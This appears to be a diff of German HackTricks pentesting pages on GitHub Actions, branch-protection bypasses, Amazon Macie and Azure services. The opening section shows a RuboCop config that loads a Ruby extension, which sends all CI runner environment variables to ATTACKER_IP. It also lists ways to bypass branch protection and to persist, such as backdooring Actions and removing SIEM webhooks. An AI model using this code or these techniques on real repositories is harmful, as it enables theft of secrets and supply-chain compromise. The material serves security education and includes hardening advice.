Beachten Sie, dass Sie möglicherweise den Grenzfall finden, in dem **alle Branches geschützt sind** (über Wildcard `*`), es wird angegeben, **wer Code in die Branches pushen kann** (_das können Sie im Branch-Schutz angeben_) und **Ihr Benutzer nicht berechtigt ist**. Sie können dennoch eine benutzerdefinierte Github-Aktion ausführen, da Sie einen Branch erstellen und den Push-Trigger über sich selbst verwenden können. Der **Branch-Schutz erlaubt den Push in einen neuen Branch, sodass die Github-Aktion ausgelöst wird**.
.rubocop.yml
```yaml
require:
- ./ext.rb
```
ext.rb (Exfiltriere Runner-Umgebungsvariablen):
```ruby
require 'net/http'
require 'uri'
require 'json'
env_vars = ENV.to_h
json_data = env_vars.to_json
url = URI.parse('http://ATTACKER_IP/')
begin
http = Net::HTTP.new(url.host, url.port)
req = Net::HTTP::Post.new(url.path)
req['Content-Type'] = 'application/json'
req.body = json_data
http.request(req)
rescue StandardError => e
warn e.message
end
```
Auch eine ausreichend große Dummy-Ruby-Datei (z. B. main.rb) einfügen, damit der Linter tatsächlich ausgeführt wird.
Auswirkungen, die in der Wildnis beobachtet wurden:
- Vollständige Codeausführung auf dem Produktions-Runner, der den Linter ausgeführt hat
- Exfiltration sensibler Umgebungsvariablen, einschließlich des privaten Schlüssels der GitHub-App, die von dem Dienst verwendet wird, API-Schlüssel, DB-Anmeldeinformationen usw.
- Mit einem geleakten privaten Schlüssel der GitHub-App können Sie Installations-Token erstellen und Lese-/Schreibzugriff auf alle Repositories erhalten, die dieser App gewährt wurden (siehe den obigen Abschnitt zur Identitätsanpassung von GitHub-Apps)
Härtungsrichtlinien für Dienste, die externe Tools ausführen:
- Behandeln Sie von Repositories bereitgestellte Tool-Konfigurationen als nicht vertrauenswürdigen Code
- Führen Sie Tools in stark isolierten Sandboxes aus, in denen keine sensiblen Umgebungsvariablen gemountet sind
- Wenden Sie Berechtigungen mit minimalen Rechten und Dateisystemisolierung an und beschränken/verbieten Sie ausgehenden Netzwerkverkehr für Tools, die keinen Internetzugang benötigen
## Umgehung des Branchenschutzes
- **Erfordern Sie eine Anzahl von Genehmigungen**: Wenn Sie mehrere Konten kompromittiert haben, könnten Sie einfach Ihre PRs von anderen Konten akzeptieren. Wenn Sie nur das Konto haben, von dem aus Sie die PR erstellt haben, können Sie Ihre eigene PR nicht akzeptieren. Wenn Sie jedoch Zugriff auf eine **Github Action**-Umgebung im Repository haben, können Sie mit dem **GITHUB_TOKEN** möglicherweise Ihre PR **genehmigen** und auf diese Weise 1 Genehmigung erhalten.
- _Hinweis für dies und für die Einschränkung der Code-Eigentümer, dass normalerweise ein Benutzer seine eigenen PRs nicht genehmigen kann, aber wenn Sie es können, können Sie es ausnutzen, um Ihre PRs zu akzeptieren._
- **Genehmigungen zurückweisen, wenn neue Commits gepusht werden**: Wenn dies nicht festgelegt ist, können Sie legitimen Code einreichen, warten, bis jemand ihn genehmigt, und dann bösartigen Code hinzufügen und in den geschützten Branch zusammenführen.
- **Erfordern Sie Überprüfungen von Code-Eigentümern**: Wenn dies aktiviert ist und Sie ein Code-Eigentümer sind, könnten Sie eine **Github Action erstellen, die Ihre PR erstellt und dann selbst genehmigt**.
- Wenn eine **CODEOWNER-Datei falsch konfiguriert ist**, beschwert sich Github nicht, aber sie wird nicht verwendet. Daher, wenn sie falsch konfiguriert ist, wird **der Schutz der Code-Eigentümer nicht angewendet.**
- **Erlauben Sie bestimmten Akteuren, die Anforderungen an Pull-Requests zu umgehen**: Wenn Sie einer dieser Akteure sind, können Sie die Schutzmaßnahmen für Pull-Requests umgehen.
- **Administratoren einbeziehen**: Wenn dies nicht festgelegt ist und Sie Administrator des Repos sind, können Sie diesen Branchenschutz umgehen.
- **PR-Hijacking**: Sie könnten in der Lage sein, die **PR eines anderen zu ändern**, bösartigen Code hinzuzufügen, die resultierende PR selbst zu genehmigen und alles zusammenzuführen.
- **Entfernen von Branchenschutzmaßnahmen**: Wenn Sie ein **Administrator des Repos sind, können Sie die Schutzmaßnahmen deaktivieren**, Ihre PR zusammenführen und die Schutzmaßnahmen wieder aktivieren.
- **Umgehung von Push-Schutzmaßnahmen**: Wenn ein Repo **nur bestimmten Benutzern** erlaubt, Push (Code zusammenzuführen) in Branches zu senden (der Branchenschutz könnte alle Branches schützen, indem das Wildcard `*` angegeben wird).
- Wenn Sie **Schreibzugriff auf das Repo haben, aber nicht berechtigt sind, Code zu pushen** aufgrund des Branchenschutzes, können Sie dennoch **einen neuen Branch erstellen** und darin eine **Github Action erstellen, die ausgelöst wird, wenn Code gepusht wird**. Da der **Branchschutz den Branch nicht schützt, bis er erstellt ist**, wird dieser erste Code-Push in den Branch die **Github Action ausführen**.
## Umgehung des Umweltschutzes
Für eine Einführung über [**Github Environment überprüfen Sie die grundlegenden Informationen**](basic-github-information.md#git-environments).
Falls eine Umgebung von **allen Branches aus zugänglich ist**, ist sie **nicht geschützt** und Sie können leicht auf die Geheimnisse innerhalb der Umgebung zugreifen. Beachten Sie, dass Sie möglicherweise Repos finden, in denen **alle Branches geschützt sind** (indem ihre Namen angegeben oder `*` verwendet wird); in diesem Szenario **finden Sie einen Branch, in den Sie Code pushen können**, und Sie können die Geheimnisse exfiltrieren, indem Sie eine neue Github Action erstellen (oder eine vorhandene ändern).
Beachten Sie, dass Sie möglicherweise den Grenzfall finden, in dem **alle Branches geschützt sind** (über Wildcard `*`), es wird festgelegt, **wer Code in die Branches pushen kann** (_Sie können das im Branchschutz angeben_) und **Ihr Benutzer nicht berechtigt ist**. Sie können dennoch eine benutzerdefinierte Github Action ausführen, da Sie einen Branch erstellen und den Push-Trigger über sich selbst verwenden können. Der **Branchschutz erlaubt den Push in einen neuen Branch, sodass die Github Action ausgelöst wird**.
```yaml
push: # Run it when a push is made to a branch
branches:
@@ -205,18 +349,18 @@ Beachten Sie, dass **nach der Erstellung** des Branches der **Branch-Schutz auf
## Persistenz
- Generieren Sie **Benutzertoken**
- Stehlen Sie **Github-Tokens** aus **Secrets**
- Stehlen Sie **Github-Tokens** aus **Geheimnissen**
- **Löschen** von Workflow-**Ergebnissen** und **Branches**
- Geben Sie **mehr Berechtigungen für die gesamte Organisation**
- Gewähren Sie **mehr Berechtigungen für die gesamte Organisation**
- Erstellen Sie **Webhooks**, um Informationen zu exfiltrieren
- Laden Sie **außenstehende Mitarbeiter** ein
- **Entfernen** Sie **Webhooks**, die vom **SIEM** verwendet werden
- Erstellen/Ändern Sie **Github Action** mit einem **Hintertür**
- Finden Sie **anfällige Github Action für Befehlsinjektion** durch **Änderung** des **Secret**-Werts
- Finden Sie **anfällige Github Action für Befehlsinjektion** durch **Änderung** des **Geheimwerts**
### Imposter Commits - Hintertür über Repo-Commits
In Github ist es möglich, **einen PR zu einem Repo von einem Fork zu erstellen**. Selbst wenn der PR **nicht akzeptiert** wird, wird eine **Commit**-ID im ursprünglichen Repo für die Fork-Version des Codes erstellt. Daher könnte ein Angreifer **einen bestimmten Commit aus einem anscheinend legitimen Repo verwenden, der nicht vom Eigentümer des Repos erstellt wurde**.
In Github ist es möglich, **einen PR zu einem Repo von einem Fork zu erstellen**. Selbst wenn der PR **nicht akzeptiert** wird, wird eine **Commit**-ID im ursprünglichen Repo für die Fork-Version des Codes erstellt. Daher könnte ein Angreifer **einen bestimmten Commit aus einem scheinbar legitimen Repo, das nicht vom Eigentümer des Repos erstellt wurde, verwenden**.
Wie [**dies**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
```yaml
@@ -233,4 +377,12 @@ echo 'hello world!'
```
Für weitere Informationen siehe [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)
## Referenzen
- [Wie wir CodeRabbit ausgenutzt haben: von einem einfachen PR zu RCE und Schreibzugriff auf 1M Repositories](https://research.kudelskisecurity.com/2025/08/19/how-we-exploited-coderabbit-from-a-simple-pr-to-rce-and-write-access-on-1m-repositories/)
- [Rubocop-Erweiterungen (erforderlich)](https://docs.rubocop.org/rubocop/latest/extensions.html)
- [Authentifizierung mit einer GitHub-App (JWT)](https://docs.github.com/en/apps/creating-github-apps/authenticating-with-a-github-app)
- [Installationen für die authentifizierte App auflisten](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#list-installations-for-the-authenticated-app)
- [Ein Installationszugriffstoken für eine App erstellen](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#create-an-installation-access-token-for-an-app)
{{#include ../../banners/hacktricks-training.md}}

144
src/pentesting-cloud/aws-security/aws-services/aws-macie-enum.md
View File

@@ -1,12 +1,74 @@
# Amazon Macie
## Einführung
{{#include ../../../banners/hacktricks-training.md}}
Amazon Macie ist ein Datensicherheitsdienst, der sensible Daten durch maschinelles Lernen und Mustererkennung entdeckt, Einblick in Datensicherheitsrisiken bietet und automatisierten Schutz gegen diese Risiken ermöglicht.
## Macie
Amazon Macie hebt sich als ein Dienst hervor, der **automatisch Daten innerhalb eines AWS-Kontos erkennen, klassifizieren und identifizieren** kann. Er nutzt **maschinelles Lernen**, um Daten kontinuierlich zu überwachen und zu analysieren, wobei der Schwerpunkt auf der Erkennung und Alarmierung bei ungewöhnlichen oder verdächtigen Aktivitäten durch die Untersuchung von **CloudTrail-Ereignisdaten** und Benutzerverhaltensmustern liegt.
Wichtige Funktionen von Amazon Macie:
1. **Aktive Datenüberprüfung**: Nutzt maschinelles Lernen, um Daten aktiv zu überprüfen, während verschiedene Aktionen im AWS-Konto stattfinden.
2. **Anomalieerkennung**: Identifiziert unregelmäßige Aktivitäten oder Zugriffsverhalten und generiert Alarme, um potenzielle Risiken einer Datenexposition zu mindern.
3. **Kontinuierliche Überwachung**: Überwacht und erkennt automatisch neue Daten in Amazon S3 und verwendet maschinelles Lernen und künstliche Intelligenz, um sich im Laufe der Zeit an Zugriffsverhalten anzupassen.
4. **Datenklassifizierung mit NLP**: Nutzt die Verarbeitung natürlicher Sprache (NLP), um verschiedene Datentypen zu klassifizieren und zu interpretieren, wobei Risikobewertungen zugewiesen werden, um Ergebnisse zu priorisieren.
5. **Sicherheitsüberwachung**: Identifiziert sicherheitsrelevante Daten, einschließlich API-Schlüssel, geheimer Schlüssel und persönlicher Informationen, um Datenlecks zu verhindern.
Amazon Macie ist ein **regionaler Dienst** und erfordert die IAM-Rolle 'AWSMacieServiceCustomerSetupRole' sowie einen aktivierten AWS CloudTrail für die Funktionalität.
### Alarmsystem
Macie kategorisiert Alarme in vordefinierte Kategorien wie:
- Anonymisierter Zugriff
- Datenkonformität
- Verlust von Anmeldeinformationen
- Privilegieneskalation
- Ransomware
- Verdächtiger Zugriff usw.
Diese Alarme bieten detaillierte Beschreibungen und Ergebnisanalysen für eine effektive Reaktion und Lösung.
### Dashboard-Funktionen
Das Dashboard kategorisiert Daten in verschiedene Abschnitte, einschließlich:
- S3-Objekte (nach Zeitbereich, ACL, PII)
- Hochrisiko-CloudTrail-Ereignisse/-Benutzer
- Aktivitätsstandorte
- CloudTrail-Benutzeridentitätstypen und mehr.
### Benutzerkategorisierung
Benutzer werden basierend auf dem Risikoniveau ihrer API-Aufrufe in Stufen eingeteilt:
- **Platin**: Hochrisiko-API-Aufrufe, oft mit Administratorrechten.
- **Gold**: Infrastrukturbezogene API-Aufrufe.
- **Silber**: API-Aufrufe mit mittlerem Risiko.
- **Bronze**: API-Aufrufe mit niedrigem Risiko.
### Identitätstypen
Identitätstypen umfassen Root, IAM-Benutzer, Angenommene Rolle, Föderierter Benutzer, AWS-Konto und AWS-Dienst, die die Quelle der Anfragen anzeigen.
### Datenklassifizierung
Die Datenklassifizierung umfasst:
- Inhaltstyp: Basierend auf dem erkannten Inhaltstyp.
- Dateierweiterung: Basierend auf der Dateierweiterung.
- Thema: Kategorisiert nach Schlüsselwörtern innerhalb von Dateien.
- Regex: Kategorisiert basierend auf spezifischen Regex-Mustern.
Das höchste Risiko unter diesen Kategorien bestimmt das endgültige Risikoniveau der Datei.
### Forschung und Analyse
Die Forschungsfunktion von Amazon Macie ermöglicht benutzerdefinierte Abfragen über alle Macie-Daten für eine eingehende Analyse. Filter umfassen CloudTrail-Daten, S3-Bucket-Eigenschaften und S3-Objekte. Darüber hinaus unterstützt es die Einladung anderer Konten zur gemeinsamen Nutzung von Amazon Macie, um die gemeinsame Datenverwaltung und Sicherheitsüberwachung zu erleichtern.
## Auflistung von Ergebnissen mit der AWS-Konsole
Nach dem Scannen eines bestimmten S3-Buckets nach Geheimnissen und sensiblen Daten werden Ergebnisse generiert und in der Konsole angezeigt. Autorisierte Benutzer mit ausreichenden Berechtigungen können diese Ergebnisse für jeden Job einsehen und auflisten.
Nach dem Scannen eines bestimmten S3-Buckets nach Geheimnissen und sensiblen Daten werden Ergebnisse generiert und in der Konsole angezeigt. Autorisierte Benutzer mit ausreichenden Berechtigungen können diese Ergebnisse für jeden Job anzeigen und auflisten.
<img width="1438" alt="Screenshot 2025-02-10 at 19 08 08" src="https://github.com/user-attachments/assets/4420f13e-c071-4ae4-946b-6fe67449a9f6" />
@@ -19,30 +81,62 @@ Amazon Macie bietet eine Funktion, die erkannte Geheimnisse im Klartextformat an
<img width="1154" alt="Screenshot 2025-02-10 at 19 15 11" src="https://github.com/user-attachments/assets/df616e56-a11a-41da-ac69-0bea37d143a5" />
## Aufzählung
### Enumeration
```bash
# List and describe classification jobs
aws macie2 list-classification-jobs --region eu-west-1
aws macie2 describe-classification-job --job-id <Job_ID> --region eu-west-1
# Get buckets
aws macie2 describe-buckets
# Org config
aws macie2 describe-organization-configuration
# Get admin account (if any)
aws macie2 get-administrator-account
aws macie2 list-organization-admin-accounts # Run from the management account of the org
# Get macie account members (run this from the admin account)
aws macie2 list-members
# Check if automated sensitive data discovey is enabled
aws macie2 get-automated-discovery-configuration
# Get findings
aws macie2 list-findings
aws macie2 get-findings --finding-ids <ids>
aws macie2 list-findings-filters
aws macie2 get -findings-filters --id <id>
# Get allow lists
aws macie2 list-allow-lists
aws macie2 get-allow-list --id <id>
# Get different info
aws macie2 list-classification-jobs
aws macie2 describe-classification-job --job-id <Job_ID>
aws macie2 list-classification-scopes
aws macie2 list-custom-data-identifiers
aws macie2 get-custom-data-identifier --id <Identifier_ID>
# Retrieve account details and statistics
aws macie2 get-macie-session --region eu-west-1
aws macie2 get-usage-statistics --region eu-west-1
# List and manage Macie members (for organizations)
aws macie2 list-members --region eu-west-1
# List findings and get detailed information about specific findings
aws macie2 list-findings --region eu-west-1
aws macie2 get-findings --finding-id <Finding_ID> --region eu-west-1
# Manage custom data identifiers
aws macie2 list-custom-data-identifiers --region eu-west-1
aws macie2 get-custom-data-identifier --id <Identifier_ID> --region eu-west-1
# List and detail findings filters
aws macie2 list-findings-filters --region eu-west-1
aws macie2 get-findings-filter --id <Filter_ID> --region eu-west-1
aws macie2 get-macie-session
aws macie2 get-usage-statistic
```
### Privesc
{{#ref}}
../aws-privilege-escalation/aws-macie-privesc.md
{{#endref}}
### Post Exploitation
> [!TIP]
> Aus der Perspektive eines Angreifers ist dieser Dienst nicht dazu gedacht, den Angreifer zu erkennen, sondern um sensible Informationen in den gespeicherten Dateien zu erkennen. Daher könnte dieser Dienst **einem Angreifer helfen, sensible Informationen** in den Buckets zu finden.\
> Vielleicht könnte ein Angreifer jedoch auch daran interessiert sein, ihn zu stören, um zu verhindern, dass das Opfer Warnungen erhält und diese Informationen leichter stehlen kann.
TODO: PRs sind willkommen!
## References
- [https://cloudacademy.com/blog/introducing-aws-security-hub/](https://cloudacademy.com/blog/introducing-aws-security-hub/)
{{#include ../../../banners/hacktricks-training.md}}

25
src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md
View File

@@ -2,31 +2,32 @@
{{#include ../../../banners/hacktricks-training.md}}
## PostgreSQL-Datenbank-Post-Exploitation
## PostgreSQL-Datenbank Post-Exploitation
Für weitere Informationen zur PostgreSQL-Datenbank siehe:
{{#ref}}
../az-services/az-postgresql.md
{{#endref}}
### Verwenden Sie die pg_azure_storage-Erweiterung, um auf Speicherkonten zuzugreifen
Es ist möglich, die Erweiterung **`pg_azure_storage` zu verwenden, um auf Azure-Speicherkonten** von einem PostgreSQL-Server zuzugreifen. Dies nutzt die Berechtigungen der verwalteten Identität, die dem Server zugewiesen ist, um auf das Speicherkonto zuzugreifen.
Für weitere Informationen siehe diese Technik, die im Abschnitt zur Privilegieneskalation erklärt wird:
{{#ref}}
../az-privilege-escalation/az-postgresql-privesc.md
{{#endref}}
### `Microsoft.DBforPostgreSQL/flexibleServers/databases/write` && `Microsoft.DBforPostgreSQL/flexibleServers/databases/read`
Mit dieser Berechtigung können Sie neue Datenbanken innerhalb einer Postgres Flexible Server-Instanz auf Azure erstellen. Während diese Aktion selbst vorhandene Ressourcen nicht ändert, könnte eine übermäßige oder unbefugte Erstellung von Datenbanken zu Ressourcenverbrauch oder potenziem Missbrauch des Servers führen.
Mit dieser Berechtigung können Sie neue Datenbanken innerhalb einer Postgres Flexible Server-Instanz auf Azure erstellen. Während diese Aktion selbst keine vorhandenen Ressourcen ändert, könnte eine übermäßige oder unbefugte Erstellung von Datenbanken zu Ressourcenverbrauch oder potenziellem Missbrauch des Servers führen.
```bash
az postgres flexible-server db create \
--server-name <server_name> \
--resource-group <resource_group_name> \
--database-name <database_name>
```
### `Microsoft.DBforPostgreSQL/flexibleServers/backups/write`
Mit dieser Berechtigung können Sie die Erstellung von Backups für eine Postgres Flexible Server-Instanz auf Azure initiieren. Dies ermöglicht es Benutzern, bedarfsorientierte Backups zu erstellen, die nützlich sein können, um Daten zu bestimmten Zeitpunkten zu sichern.
```bash
az postgres flexible-server backup create \
--name <server_name> \
--resource-group <resource_group_name>
--backup-name <backup_name>
```
### `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write` && `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read`
Mit dieser Berechtigung können Sie die Einstellungen für den Advanced Threat Protection (ATP) für eine Postgres Flexible Server-Instanz in Azure konfigurieren oder aktualisieren. Dies ermöglicht das Aktivieren oder Deaktivieren von Sicherheitsfunktionen, die darauf ausgelegt sind, anomale Aktivitäten und potenzielle Bedrohungen zu erkennen und darauf zu reagieren.
@@ -79,7 +80,7 @@ az postgres flexible-server stop \
With this permission, you can start a stopped PostgreSQL Flexible Server instance on Azure. Starting a server restores its availability, enabling applications and users to reconnect and access the database.
```bash
az postgres flexible-server starten \
az postgres flexible-server start \
--name <server_name> \
--resource-group <resource_group_name>
```

32
src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md
View File

@@ -1,10 +1,10 @@
# Az - Automatisierungskonten
# Az - Automation Accounts
{{#include ../../../banners/hacktricks-training.md}}
## Grundinformationen
Azure Automatisierungskonten sind cloudbasierte Dienste in Microsoft Azure, die helfen, **Aufgaben zu automatisieren**, wie z.B. Ressourcenmanagement, Konfiguration und Updates in Azure und vor Ort. Sie bieten **Runbooks** (Skripte zur Automatisierung, die ausgeführt werden), **Zeitpläne** und **hybride Arbeitsgruppen**, um Automatisierungs-**Jobs** auszuführen, was Infrastruktur als Code (IaC) und Prozessautomatisierung für verbesserte Effizienz und Konsistenz beim Management von Cloud-Ressourcen ermöglicht.
Azure Automation Accounts sind cloudbasierte Dienste in Microsoft Azure, die helfen, **Aufgaben zu automatisieren** wie Ressourcenmanagement, Konfiguration und Updates in Azure und vor Ort. Sie bieten **Runbooks** (Skripte für die Automatisierung, die ausgeführt werden), **Zeitpläne** und **hybride Arbeitsgruppen**, um Automatisierungs-**Jobs** auszuführen, was Infrastruktur als Code (IaC) und Prozessautomatisierung für verbesserte Effizienz und Konsistenz beim Management von Cloud-Ressourcen ermöglicht.
### Einstellungen
@@ -33,18 +33,18 @@ Ein Job enthält die **Ausgabe** der **Runbook**-Ausführung. Wenn Sie die **Job
Es gibt 3 Hauptmethoden, um ein Runbook auszuführen:
- **Zeitpläne**: Diese werden verwendet, um Runbooks zu einem **bestimmten Zeitpunkt** oder **Intervall** zu **triggern**.
- **Webhooks**: Dies sind **HTTP-Endpunkte**, die verwendet werden können, um Runbooks von **externen Diensten** zu **triggern**. Beachten Sie, dass die Webhook-URL nach der Erstellung **nicht sichtbar** ist.
- **Webhooks**: Dies sind **HTTP-Endpunkte**, die verwendet werden können, um Runbooks von **externen Diensten** zu **triggern**. Beachten Sie, dass die Webhook-URL **nach der Erstellung nicht sichtbar** ist.
- **Manueller Trigger**: Sie können ein Runbook manuell über das Azure-Portal und die CLI **triggern**.
### Quellcodeverwaltung
Es ermöglicht das Importieren von Runbooks aus **Github, Azure Devops (Git) und Azure Devops (TFVC)**. Es ist möglich, anzugeben, dass die Runbooks des Repos in das Azure Automatisierungskonto veröffentlicht werden sollen, und es ist auch möglich, anzugeben, dass die **Änderungen vom Repo** in das Azure Automatisierungskonto **synchronisiert** werden sollen.
Es ermöglicht das Importieren von Runbooks aus **Github, Azure Devops (Git) und Azure Devops (TFVC)**. Es ist möglich, anzugeben, dass die Runbooks des Repos im Azure Automation-Konto veröffentlicht werden sollen, und es ist auch möglich, anzugeben, dass die **Änderungen vom Repo** mit dem Azure Automation-Konto **synchronisiert** werden sollen.
Wenn die Synchronisierung aktiviert ist, wird im **Github-Repository ein Webhook erstellt**, um die Synchronisierung jedes Mal auszulösen, wenn ein Push-Ereignis auftritt. Beispiel für eine Webhook-URL: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
Wenn die Synchronisierung aktiviert ist, wird im **Github-Repository ein Webhook erstellt**, um die Synchronisierung jedes Mal auszulösen, wenn ein Push-Ereignis auftritt. Beispiel einer Webhook-URL: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
Beachten Sie, dass diese Webhooks **nicht sichtbar sein werden**, wenn Webhooks in den zugehörigen Runbooks zum Github-Repo aufgelistet werden. Beachten Sie auch, dass es **nicht möglich ist, die Repo-URL** einer Quellcodeverwaltung zu ändern, sobald sie erstellt wurde.
Damit die konfigurierte Quellcodeverwaltung funktioniert, muss das **Azure Automatisierungskonto** eine verwaltete Identität (System oder Benutzer) mit der Rolle **`Contributor`** haben. Darüber hinaus muss zur Zuweisung einer benutzerdefinierten verwalteten Identität zum Automatisierungskonto die Client-ID der Benutzer-MI in der Variablen **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** angegeben werden.
Damit die konfigurierte Quellcodeverwaltung funktioniert, muss das **Azure Automation-Konto** eine verwaltete Identität (System oder Benutzer) mit der Rolle **`Contributor`** haben. Darüber hinaus ist es erforderlich, die Client-ID der Benutzer-MI in der Variablen **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** anzugeben, um eine benutzerdefinierte verwaltete Identität dem Automatisierungskonto zuzuweisen.
### Laufzeitumgebungen
@@ -57,28 +57,28 @@ Beim Erstellen eines Runbooks ist es möglich, die Laufzeitumgebung auszuwählen
- **Python 3.8**
- **Python 2.7**
Es ist jedoch auch möglich, **eigene Umgebungen zu erstellen**, indem eine dieser Umgebungen als Basis verwendet wird. Im Fall von Python ist es möglich, `.whl`-Pakete in die Umgebung hochzuladen, die verwendet werden. Im Fall von PowerShell ist es möglich, `.zip`-Pakete mit den Modulen hochzuladen, die in der Laufzeit vorhanden sein sollen.
Es ist jedoch auch möglich, **eigene Umgebungen zu erstellen**, indem eine dieser Umgebungen als Basis verwendet wird. Im Fall von Python ist es möglich, `.whl`-Pakete in die Umgebung hochzuladen, die verwendet werden sollen. Im Fall von PowerShell ist es möglich, `.zip`-Pakete mit den Modulen hochzuladen, die in der Laufzeit vorhanden sein sollen.
### Hybride Arbeitsgruppen
In Azure Automation ist die Standardausführungsumgebung für Runbooks die **Azure Sandbox**, eine cloudbasierte Plattform, die von Azure verwaltet wird und sich für Aufgaben mit Azure-Ressourcen eignet. Diese Sandbox hat jedoch Einschränkungen, wie z.B. eingeschränkten Zugriff auf lokale Ressourcen und Beschränkungen hinsichtlich der Ausführungszeit und Ressourcennutzung. Um diese Einschränkungen zu überwinden, werden hybride Arbeitsgruppen eingesetzt. Eine hybride Arbeitsgruppe besteht aus **einem oder mehreren Hybrid Runbook Workers, die auf Ihren eigenen Maschinen installiert sind**, sei es vor Ort, in anderen Cloud-Umgebungen oder Azure-VMs. Diese Konfiguration ermöglicht es Runbooks, direkt auf diesen Maschinen ausgeführt zu werden, was direkten Zugriff auf lokale Ressourcen, die Möglichkeit, längere und ressourcenintensive Aufgaben auszuführen, und die Flexibilität bietet, mit Umgebungen über den unmittelbaren Zugriff von Azure hinaus zu interagieren.
In Azure Automation ist die Standardausführungsumgebung für Runbooks die **Azure Sandbox**, eine cloudbasierte Plattform, die von Azure verwaltet wird und sich für Aufgaben mit Azure-Ressourcen eignet. Diese Sandbox hat jedoch Einschränkungen, wie eingeschränkten Zugriff auf lokale Ressourcen und Beschränkungen hinsichtlich der Ausführungszeit und Ressourcennutzung. Um diese Einschränkungen zu überwinden, werden hybride Arbeitsgruppen eingesetzt. Eine hybride Arbeitsgruppe besteht aus **einem oder mehreren Hybrid Runbook Workers, die auf Ihren eigenen Maschinen installiert sind**, sei es vor Ort, in anderen Cloud-Umgebungen oder Azure-VMs. Diese Konfiguration ermöglicht es Runbooks, direkt auf diesen Maschinen ausgeführt zu werden, was direkten Zugriff auf lokale Ressourcen, die Möglichkeit, längere und ressourcenintensive Aufgaben auszuführen, und die Flexibilität bietet, mit Umgebungen zu interagieren, die über den unmittelbaren Zugriff von Azure hinausgehen.
Wenn eine hybride Arbeitsgruppe erstellt wird, müssen die **Anmeldeinformationen** angegeben werden, die verwendet werden sollen. Es gibt 2 Optionen:
- **Standardanmeldeinformationen**: Sie müssen die Anmeldeinformationen nicht angeben, und die Runbooks werden innerhalb der VMs als **System** ausgeführt.
- **Spezifische Anmeldeinformationen**: Sie müssen den Namen des Anmeldeinformationsobjekts im Automatisierungskonto angeben, das verwendet wird, um die **Runbooks innerhalb der VMs** auszuführen. Daher könnte es in diesem Fall möglich sein, **gültige Anmeldeinformationen** für die VMs zu **stehlen**.
Wenn Sie also wählen können, ein **Runbook** in einem **hybriden Worker** auszuführen, führen Sie **willkürliche Befehle** auf einer externen Maschine als **System** aus (schöne Pivot-Technik).
Wenn Sie also wählen können, ein **Runbook** in einem **Hybrid Worker** auszuführen, führen Sie **willkürliche Befehle** auf einer externen Maschine als **System** aus (schöne Pivot-Technik).
Darüber hinaus, wenn der hybride Worker in Azure mit anderen verwalteten Identitäten ausgeführt wird, hat das Runbook Zugriff auf die **verwaltete Identität des Runbooks und alle verwalteten Identitäten der VM aus dem Metadatenservice**.
Darüber hinaus, wenn der hybride Worker in Azure mit anderen verwalteten Identitäten ausgeführt wird, kann das Runbook auf die **verwaltete Identität des Runbooks und alle verwalteten Identitäten der VM vom Metadatenservice** zugreifen.
> [!TIP]
> Denken Sie daran, dass der **Metadatenservice** eine andere URL hat (**`http://169.254.169.254`**) als der Dienst, von dem das Token der verwalteten Identität des Automatisierungskontos abgerufen wird (**`IDENTITY_ENDPOINT`**).
> Denken Sie daran, dass der **Metadatenservice** eine andere URL hat (**`http://169.254.169.254`**) als der Dienst, von dem aus das Token der verwalteten Identitäten des Automatisierungskontos abgerufen wird (**`IDENTITY_ENDPOINT`**).
### Statuskonfiguration (SC)
> [!WARNING]
> Wie in [den Dokumenten](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) angegeben, wird die Azure Automation Statuskonfiguration am 30. September 2027 eingestellt und durch [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview) ersetzt.
> Wie in [den Dokumenten](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) angegeben, wird Azure Automation State Configuration am 30. September 2027 eingestellt und durch [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview) ersetzt.
Automatisierungskonten unterstützen auch **Statuskonfiguration (SC)**, eine Funktion, die hilft, den **Zustand** Ihrer VMs zu **konfigurieren** und **aufrechtzuerhalten**. Es ist möglich, DSC-Konfigurationen für **Windows** und **Linux**-Maschinen zu **erstellen** und **anzuwenden**.
@@ -226,12 +226,18 @@ Get-AzAutomationAccount | Get-AzAutomationPython3Package
# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>
```
## Privilegienerweiterung & Nachausnutzung
## Privilegienerweiterung & Nach der Ausnutzung
{{#ref}}
../az-privilege-escalation/az-automation-accounts-privesc.md
{{#endref}}
## Persistenz
{{#ref}}
../az-persistence/az-automation-accounts-persistence.md
{{#endref}}
## Referenzen
- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview)

38
src/pentesting-cloud/azure-security/az-services/az-container-registry.md
View File

@@ -8,15 +8,15 @@ Azure Container Registry (ACR) ist ein sicheres, privates Registry, das es Ihnen
### Berechtigungen
Dies sind die **verschiedenen Berechtigungen** [laut den Dokumenten](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager), die über ein Container-Registry vergeben werden können:
Dies sind die **verschiedenen Berechtigungen** [laut den Dokumenten](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager), die über ein Container Registry vergeben werden können:
- Zugriff auf den Resource Manager
- Erstellen/Löschen von Registries
- Image pushen
- Image pullen
- Bild hochladen
- Bild herunterladen
- Bilddaten löschen
